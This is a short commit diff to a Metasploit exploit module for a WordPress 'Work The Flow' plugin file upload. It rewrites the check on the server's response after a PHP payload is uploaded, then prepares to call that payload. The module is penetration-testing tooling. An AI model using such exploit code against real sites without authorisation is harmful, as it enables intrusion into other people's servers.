Rewrote response condition.

modules/exploits/unix/webapp/wp_worktheflow_upload.rb

@@ -66,11 +66,15 @@ class Metasploit3 < Msf::Exploit::Remote
       'data'      => post_data
     })
 
-    if res && res.code == 200 && res.body
-      print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
-      register_files_for_cleanup(php_pagename)
+    if res
+      if res.code == 200
+        print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
+        register_files_for_cleanup(php_pagename)
+      else
+        fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
+      end
     else
-      fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
+      fail_with('ERROR')
     end
 
     print_status("#{peer} - Calling payload...")